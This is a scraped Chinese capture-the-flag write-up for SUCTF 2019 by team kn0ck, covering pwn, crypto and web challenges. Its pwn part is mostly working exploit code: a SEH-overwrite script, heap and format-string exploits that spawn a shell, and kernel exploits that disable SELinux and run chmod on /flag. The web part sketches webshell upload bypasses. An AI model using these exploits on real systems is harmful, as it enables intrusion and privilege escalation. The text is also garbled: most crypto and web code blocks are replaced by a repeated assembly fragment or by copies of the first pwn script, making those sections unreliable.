kn0ck suctf19 writeup – 安全客,安全资讯平台 | xxxkn0ck suctf19 writeup – 安全客,安全资讯平台 – xxx
菜单

kn0ck suctf19 writeup – 安全客,安全资讯平台

八月 26, 2019 - 安全客

kn0ck suctf19 writeup - 安全客,安全资讯平台

 

kn0ck诚招大佬,联系邮箱kn0ck_team@protonmail.com

pwn

BabyStack

main函数的f5有点问题,所以直接看反汇编

.text:00408579                 mov     esp, [ebp+ms_exc.old_esp] .text:0040857C                 call    sub_4033C8 ;这个函数里面有getflag的代码段,先想想怎么进去 发现00408579地址是异常处理函数 而在text:00408542 loc_408542:                             ; CODE XREF: sub_4083E0:loc_40853C↑p .text:00408542                 pop     eax .text:00408543                 mov     esi, [ebp+var_2C] .text:00408546                 sub     esi, eax .text:00408548                 div     esi .text:0040854A                 pop     eax .text:0040854B                 push    offset aYouCanNotFindM ; "You can not find Me!n" .text:00408550                 call    printf 

有div指令,应该是除0异常触发,因为输入只能输入8字节,否则报错退出,
要求esi=0,就必须要求esi==eax,此时的eax刚好是前面一个call的返回值,也就是00408541,由于程序开启了aslr,所以就利用到了泄露出来的main函数地址了,需要动态根据前面的算法构造出输入的8字节.

407F60这个函数里面有任意地址读取,读取异常的话进行异常处理函数会直接退出.

当输入no的时候会判断2个初始值为1的局部变量的和是否==3,==才getflag,否则退出

现在是怎么改掉这2个值
sub_402C70((int)&v11, 256, (int)v1);这个函数可以让v11溢出,可以修改返回地址,但是不能修改掉2个局部变量, 可函数退出的地方都是exit,不是正常退出,好像也无法劫持eip

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

这里是个正常返回的地方,但是是在异常处理函数里面,前面有jmp直接跳过它,又不能直接运行到这里来,想想看能否触发异常来到这里. 触发异常来到这里后发现esp已经改掉了,还是无法劫持eip

换思路,可以直接通过修改seh中的函数指针,由于泄露了栈,所以可以保证seh链是完整的绕过sehop.覆盖第一个seh链为getflag函数,再触发异常
但是好像还有safeseh相关保护需要绕过…………

根据这篇文章https://bbs.pediy.com/thread-221016.htm 绕过safeseh
最后一个坑,浪费了好多时间,最后的scope_addr后面的0不能被破坏,不然直接退出,经过调试发现会有个换行符插进去了,补上他们就好了

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

二手破电脑

此题先看两个函数,malloc_usable_sizerealloc

在linux下,使用 man malloc_useable_size 即可快速查看函数定义、用法等。

The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer        to a block of memory allocated by malloc(3) or a related function. 

再看看源码,大概就是,32位系统下,如果堆块是inuse的,就返回堆块大小-4,否则返回堆块大小-8。

realloc 就有意思了,按照源码,是先 malloc ,然后 memcpyfree,实测该程序并不会进行 malloc 或者 free,因为大小没改变,但是对堆块的 size 进行了检查。

然后查找漏洞,漏洞不太明显,在 perchase 函数的 scanf 函数处,例如 %8s 这样的格式化字符串,实际会写入9个字节,因为有最后一个 x00 会被写进去。

解题思路:

关于libc,吐槽一下主办方用的非主流libc:libc6-i386_2.23-0ubuntu10_amd64.so

另外有个serial需要解一下

for ( i = 0; i <= 6; ++i )   buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i) //buf = "Qf(>qwd!" 

用python反着解开

buf = '!' final_buf = "Qf(>qwd!" for _ in range(7):     cur = ord(buf[0])     i = 6 - _     for pre in range(256):         if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):             buf = chr(pre) + buf             continue  print buf # e4SyD1C! 

exp如下,具体的堆排列情况,我都是实时调的,大家可以参考一下我的文章interactive-pwnning-tutorial

#https://github.com/matrix1001/welpwn from PwnContext import *  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     #context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './pwn'     ctx.remote = ('47.111.59.243', 10001)     #ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'     ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'     ctx.debug_remote_libc = True       def perchase(name_len, name, price):         sla('>>>', 1)         sla('length', name_len)         sa('Name', name)         sla('Price', price)      def comment(idx, comment, score):         sla('>>>', 2)         sla('Index', idx)         sa('Comment', comment)         sla('score', score)      def throw(idx):         sla('>>>', 3)         sla('index', idx)      def rename(idx, new_name, some_fuck):         sla('>>>', 4)         sla('index', idx)         sleep(0.1)         s(new_name)         sa('power', 'yn')         sla('serial', 'e4SyD1C!')         sa('Pwner', some_fuck)      ctx.breakpoints = [0x12f2, 0x1328, 0x118f]     rs('remote')     # rs()     libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')     # dbg('c')      perchase(0x10, 'testn', 0) #0     comment(0, 'testcommentn', 0)     perchase(0x10, 'testn', 0) #1     throw(0)      perchase(0x10, 'testn', 0) #0     comment(0, 'a', 0)     throw(0)      ru('Comment ')     libc_leak = uu32(r(4)) & 0xffffff00      success('libc_leak = {:#x}'.format(libc_leak))     libc_base = libc_leak - 0x1b0700      # clean up     throw(1)      #     perchase(0x8c, 'an', 0) #0     perchase(0x80, 'an', 0) #1     perchase(0x40, 'an', 0) #2     perchase(0xf8, 'an', 0) #3     perchase(0x20, 'topn', 0) #4      throw(2)     # null overflow     perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2     throw(0)     # overlap     throw(3)      perchase(0x10, 'an', 0) #0     perchase(0x50, 'an', 0)      perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)       throw(0)     perchase(0x100, '/bin/shn', 0)     libc.address = libc_base     free_hook = libc.sym['__free_hook']     system = libc.sym['system']     rename(1, p32(0)*5 + p32(free_hook), p32(system))     irt() 

playfmt

是一个很简单的格式串,但是buf放在了bss,需要栈指针链,由于flag已经在内存里面了,泄露一下堆地址,再把flag地址写到栈里面,就可以利用格式化字符串漏洞拿flag了。

#https://github.com/matrix1001/welpwn from PwnContext import *  try:     from IPython import embed as ipy except ImportError:     print ('IPython not installed.')  if __name__ == '__main__':             context.terminal = ['tmux', 'splitw', '-h']     context.log_level = 'debug'     # functions for quick script     s       = lambda data               :ctx.send(str(data))        #in case that data is an int     sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))      sl      = lambda data               :ctx.sendline(str(data))      sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))      r       = lambda numb=4096          :ctx.recv(numb)     ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)     irt     = lambda                    :ctx.interactive()     rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)     dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)     # misc functions     uu32    = lambda data   :u32(data.ljust(4, ''))     uu64    = lambda data   :u64(data.ljust(8, ''))      ctx.binary = './playfmt'     ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/'     ctx.debug_remote_libc = True     ctx.remote = ('120.78.192.35', 9999)     def fmt(payload):         sleep(0.2)         s(payload)     rs('remote')      sleep(1)     ctx.clean()     fmt('%18$x')     heap_leak = int(r(), 16)     flag_addr = heap_leak - 0x18      flag_addr_c = p32(flag_addr)      for i in range(4):         fmt('%{}c%6$hhn'.format(i+0xf0))         fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i])))     fmt('%240c%6$hhn')              dbg('b *0x0804889Fnc')      sleep(1)     ctx.clean()     fmt('%6$x')     stack = int(ru(8), 16)      addup = (0xf0 - (stack & 0xff))/4      fmt('%240c%6$hhn%{}$s'.format(addup+14))     r() 

sudrv

参考文章

具体思路和参考文章是一样的。

此次利用分两段完成,首先编写一个简单的leak用来泄露kernel base,然后再利用模块中的堆溢出漏洞达到任意地址写的目的,劫持prctl的hook,来调用poweroff_work_func来执行’/bin/chmod 777 /flag’

leak.c

//leak.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <errno.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <string.h> #include <pty.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h>  #define to_kmalloc 0x73311337 #define to_kfree 0x13377331 #define to_show 0xdeadbeef  void exploit(){     char buf[0x100] = {0};     char test[] = "hello world!%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx";     memcpy(buf,test,sizeof(test));      int fd1 = open("/dev/meizijiutql", O_RDWR);     ioctl(fd1,to_kmalloc,0x500);     write(fd1,buf,sizeof(buf));     ioctl(fd1,to_show);     ioctl(fd1,to_kfree); }   int main(int argc, char const *argv[]) {     /* code */     exploit();     return 0; } 

exp.c

//exp.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <errno.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <string.h> #include <pty.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h>  #define to_kmalloc 0x73311337 #define to_kfree 0x13377331 #define to_show 0xdeadbeef  int main(int argc, char const *argv[]) {     unsigned long kernel_base;     puts("input kernel addr:");     scanf("%lu",&kernel_base);     kernel_base -= 0x1c827f;     unsigned long set_memory_rw = kernel_base + 0x54870;     unsigned long selinux_disable = kernel_base + 0x31ebc0;     unsigned long sbin_poweroff = kernel_base + 0x1241d40;     unsigned long security_task_prctl = kernel_base + 0x3134e0;     unsigned long hook_addr = kernel_base + 0x12934a8;     unsigned long orderly_poweroff = kernel_base + 0x81b10;     unsigned long poweroff_work_func = kernel_base + 0x82000;      printf("kernel_base = %pn", kernel_base);     printf("set_memory_rw = %pn", set_memory_rw);     printf("selinux_disable = %pn", selinux_disable);     printf("sbin_poweroff = %pn", sbin_poweroff);     printf("security_task_prctl = %pn", security_task_prctl);     printf("hook_addr = %pn", hook_addr);     printf("orderly_poweroff = %pn", orderly_poweroff);     printf("poweroff_work_func = %pn", poweroff_work_func);      int fd1 = open("/dev/meizijiutql", O_RDWR);     ioctl(fd1,to_kmalloc,0xc0);      unsigned long fake[0x19] = {0};     fake[0x18] = sbin_poweroff;     write(fd1,(char *)fake,sizeof(fake));      ioctl(fd1,to_kmalloc,0xc0);     ioctl(fd1,to_kmalloc,0xc0);//get addr      char cmd[] = "/bin/chmod 777 /flag";      write(fd1,cmd,sizeof(cmd));      ioctl(fd1,to_kmalloc,0x100);     unsigned long fake2[0x21] = {0};     fake2[0x20] = hook_addr;     write(fd1,(char *)fake2,sizeof(fake2));      ioctl(fd1,to_kmalloc,0x100);     ioctl(fd1,to_kmalloc,0x100);//get addr      unsigned long addr = sbin_poweroff;      unsigned long fake_table[4] = {0};     fake_table[3] = selinux_disable;      unsigned long *p = &fake_table;     write(fd1,&p,8);     //prctl(addr,2,addr,addr,2);//do selinux_disable      fake_table[3] = poweroff_work_func;      prctl(addr,2,addr,addr,2);//do poweroff_work_func     return 0; } 

 

Crypto

DSA

与题目所给地址进行交互,回显出DSA签名算法的参数p,q,g,y,并给出对12组语句MD5值的签名的结果(r,s),求解私钥x。
观察到所给的签名结果中,存在两组数据的r相同,说明这两组数据签名时采取了相同的随机数k,原理参考https://www.jarviswang.me/?p=169,可以解除相应私钥x,之后用x加密所给的md5值提供给服务器就ok.
计算脚本如下:
DSA.py

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

0

wp.py

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

1

Prime

这题应该算是卡的最久的了,题目给出了4组 m^n mod n = c,n的生成方式未知,已知n ,c 求解 m ,看起来像是一个RSA的解密 。与RSA相关联的是欧拉定理,根据欧拉定理可知,
m^phi(n) mod n ==1,
结合题目的条件可得:
m^(n mod phi(n)) mod n =c
下面就是尝试分解n,发现给出的4个n两两不互素,每个n可以分解成4个素数的乘积,随后对多素数的RSA进行解密,参考https://www.xuebuyuan.com/681378.html
交互脚本如下:

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

2

MT

题目主要是对以下一段逻辑进行逆向,

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

3

4个步骤,一步一步分析,按位解即可,这里直接给出计算脚本:

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

4

RSA

题目给出 n, e, c,可以发送密文,让服务器判断相应明文是否为奇数,利⽤ RSA PARITY ORACLE⽅法,这次构造特定密文交互1024次可以求出特定明文,执行三轮,服务器返回flag,
原理参考https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_chosen_plain_cipher-zh/#rsa-parity-oracle
交互脚本如下:

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

5

 

Web

0x01 CheckIn

题目描述

http://47.111.59.243:9021

题目解答

首先判断目标题目的容器环境,发现是nginx而不是apache

之后发现上传点具有如下特征:

  1. .php 后缀的不可以
  2. <? 不可以出现
  3. exif_imagetype 检验是否是图片

那么就逐点bypass;

  1. 不允许php后缀的情况下就要考虑容器的特性
    容器是否存在解析漏洞或者其他,如果是apache的话我们完全可以先上传.htaccess来将某个后缀当做php脚本解析执行,但是此处是nginx容器,在这个版本也没有对应的解析漏洞,因此考虑.user.ini来构造解析
    这个可以参考:《user.ini文件构成的PHP后门》
  2. 不允许<? 那么就考虑<script language='php'>
  3. exif_imagetype 校验bypass
    这个可以参考这篇文章:https://xz.aliyun.com/t/3937

最终得到如下getshell脚本

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

6

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

7

直接cat得到flag

kn0ck suctf19 writeup - 安全客,安全资讯平台

0x02 EasyPHP

题目描述

http://47.111.59.243:9001/

题目解答

访问站点直接得到网站对应的源代码

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

8

看到源码之后思路就很明确了,get_the_flag 函数部分的上传漏洞和上题相类似,但是不同的是这里是apache环境,所以要上传的是.htaccess文件来构造解析。

关键的是第一部分,如何来让eval 函数触发get_the_flag 函数,首先判断正则过滤了那些ascii字符,写一个脚本判断一下。

.text:00408224 loc_408224:                             ; DATA XREF: .rdata:stru_47ACC0↓o .text:00408224                 mov     eax, 1 .text:00408229                 retn 

9

最终可以得到有如下

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

0

那么之后只要使用既有的规则模式进行fuzz即可(随后会写专门的文章来介绍webfuzz)

因为还有长度限制,所以如果fuzz出get_the_flag的话,可能长度会超,所以考虑率fuzz出$_GET[z],然后让php解析${$_GET[z]}来达到调用对应函数的目的。

这里fuzz字符之间的异或,最终得到如下结果

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    print t.recvuntil('you want to know more?rn') t.sendline('yes') print t.recvuntil('n') t.sendline('111')#再次触发异常,进入getflag代码 print t.interactive() 

1

因为可见字符都被过滤了,这里我们还得要一个字符来作为参数,同时要考虑bypass

from pwn import * import string t = remote('121.40.159.66', 6666) #t = remote('1.1.8.1', 9999)  def calc_esi(ret_addr):     ret_addr = hex(ret_addr)[2:].zfill(8)     esi = ''     for i in ret_addr:         if i in '1234567890':             esi+=chr(ord(i)+3)         elif i in string.ascii_letters:             esi+=chr(ord(i)+55)     return esi #通过第一阶段验证 print t.recvuntil('stack address = ') stack_addr = t.recvline()[2:-2] print stack_addr stack_addr = int(stack_addr,16) print t.recvuntil('main address = ') main_addr = t.recvline()[2:-2] print main_addr main_addr_num = int(main_addr,16) ret_addr = main_addr_num+0x4be3 esi = calc_esi(ret_addr) print 'esi= ',esi #esi = hex(ret_addr)[2:].zfill(8) t.sendline(esi)  #泄露seh_next print t.recvuntil('to know more?') t.sendline('yes') print t.recvuntil('do you want to know?') seh_next_addr = stack_addr-(0x19ff10-0x19fee0) print 'seh_next_addr: ',hex(seh_next_addr) t.sendline(str(seh_next_addr)) print t.recvuntil('value is 0x') seh_next = t.recvuntil('rn')[:-2] print 'seh_next: ',seh_next seh_next = int(seh_next,16)  #泄露seh_next后面的seh_handler print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') handler_addr = stack_addr-(0x19ff10-0x19fee4) print 'handler: ',hex(handler_addr) t.sendline(str(handler_addr)) print t.recvuntil('value is 0x') handler = t.recvuntil('rn')[:-2] print 'handler: ',handler handler = int(handler,16)  #泄露栈上面的gscookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') cookie = stack_addr-(0x19ff10-0x19fed4) print 'cookie addr: ',hex(cookie) t.sendline(str(cookie)) print t.recvuntil('value is 0x') cookie = t.recvuntil('rn')[:-2] print 'cookie: ',cookie cookie = int(cookie,16)  #泄露security cookie print t.recvuntil('to know more?rn') t.sendline('yes') print t.recvuntil('do you want to know?rn') sc = 0x47C004-0x40395e+ main_addr_num print 'sc addr: ',hex(sc) t.sendline(str(sc)) print t.recvuntil('value is ') sc = t.recvuntil('rn')[2:-2]  print 'sc: ',sc sc = int(sc,16)   #计算ebp ebp = stack_addr-(0x19ff10-0x19fef0) print 'ebp: ',hex(ebp)  #计算buf地址,计算scope指针 buf_addr = stack_addr-(0x19FF10-0x019FE44) print 'buf_addr:', hex(buf_addr) scope_addr = (buf_addr+4)^sc print 'scope_addr: ',hex(scope_addr) print t.recvuntil('to know more?rn') t.sendline('1')  ''' payload  '''  getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址 payload = 'aaaa' #把fake scope放在后4字节是因为之后会输入yes破坏前4字节 payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2 #padding payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00' payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)   print(len(payload)) t.sendline(payload)    